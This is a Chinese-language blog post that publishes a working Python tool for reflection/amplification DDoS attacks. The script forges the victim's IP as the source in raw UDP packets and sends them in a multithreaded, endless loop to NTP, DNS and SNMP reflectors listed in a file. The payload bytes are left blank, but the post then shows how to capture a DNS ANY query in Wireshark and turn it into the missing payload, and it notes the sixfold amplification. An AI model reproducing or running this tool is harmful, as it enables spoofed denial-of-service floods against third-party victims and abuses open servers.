0×01 前言
之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章,本来今天的这个应该并到那篇文章里,共称为反射DDOS攻击扫描与利用,但是我怕这样做会教坏小孩子,我发第一篇DDOS文章的时候freebuf就502了。。。。。凑巧了,弄得我都不敢发利用代码了,但是我想了一天以后我觉得我还是发出来吧,毕竟我写的也不好,没必要藏着掖着的,我还会把payload去掉,让大家自己填写,这就不算是我搞破坏了。废话不多说了,赶紧发完下班了。
0×02 代码的使用方法
首先,我这是在linux环境下写的,开始我用windows开发的,但是总是不成功,调用python的原始套接字伪造源IP地址总是不能发出去,后来我换到linux上就好了(kali),我并没有调用第三方的库,只要是linux+python就可以执行,在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ,作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然程序报错,格式就如同下图(IP地址,端口号):
利用代码就是如下这些了。。。。
#!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread): def __init__(self,srcip,srcport): threading.Thread.__init__(self) self.srcip = srcip self.srcport =srcport def run(self): re_att(self.srcip,self.srcport) def checksum(data): s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(data[i]) + (ord(data[i+1]) << 8) if n: s+= ord(data[i+1]) while (s >> 16): s = (s & 0xFFFF) + (s >> 16) s = ~s & 0xffff return s def IP(source,destination,udplen): version = 4 ihl = 5 tos = 0 tl = 20+udplen ip_id = random.randint(1,65530) flags = 0 offset = 0 ttl = 128 protocol =17 check =0 source = socket.inet_aton(source) destination = socket.inet_aton(destination) ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, socket.htons(check), source, destination) return ip_header def udp(sp,dp,datalen): srcport=sp dstport=dp udplen=8+datalen udp_checksum=0 udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum) return udp_header def re_att(srcip,srcport): NTP_data=#payload需要你们自己写啊,就是写/x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包 DNS_data=#payload需要你们自己写啊 SNMP_data=#payload需要你们自己写啊 n=len(ipaddr)-1 while 1: i=random.randint(0,n) ip_port=ipaddr[i] dstip=ip_port[0] dstport=int(ip_port[1]) if dstport==123: data=NTP_data elif dstport==53: data=DNS_data elif dstport==161: data=SNMP_data else: print 'dest port error!' datalen=len(data) udp_header=udp(srcport,dstport,datalen) ip_header=IP(srcip,dstip,len(udp_header)+datalen) ip_packet=ip_header+udp_header+data s.sendto(ip_packet,(dstip,dstport)) proto_udp=17 proto_tcp=6 s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) ipaddr=[] f = open("ipaddress.txt","r") lines=f.readlines() for line in lines: line=line.strip('/r/n') l=line.split(',') ipaddr.append(l) srcip=raw_input('attack IP:') srcport=int(input('attack PORT:')) threads=int(input("线程数threads:")) threads_name=[] need=(srcip,srcport) for i in range(threads): threads_name.append('teread'+str(i)) for i in range(threads): threads_name[i]=myThread(srcip,srcport) for i in range(threads): threads_name[i].start() #这个攻击没有结束,想停就直接关了终端就可以了 #这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了
这个工具没带payload,但是我可以教大家一个简单的写payload的方法,就是用whireshark抓包
第一步,打开kali whireshark抓包,然后开终端,用dig工具
看,这就能抓到一个DNS的请求和回复包了。这里用的是ANY,请求80字节回复486字节,放大了6倍
第二步,点开请求包(就是80字节那个,别点开错了),选中DNS部分,然后复制,为hex转储
第三步,打开个记事本,把刚才的粘贴进去,这不就是十六进制的payload了吗,把前面的0000那些删掉,再把这些字符以‘/xdf’+’/xdb’+…..这种形式连起来就可以了
第四步,剩下的就自己去领悟吧,别的payload道理差不多,有能力就自己写,想简单点就去复制一下也可以,我可没教你们什么,其他的都是你们自己领悟出来的。。。。。。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/55159.html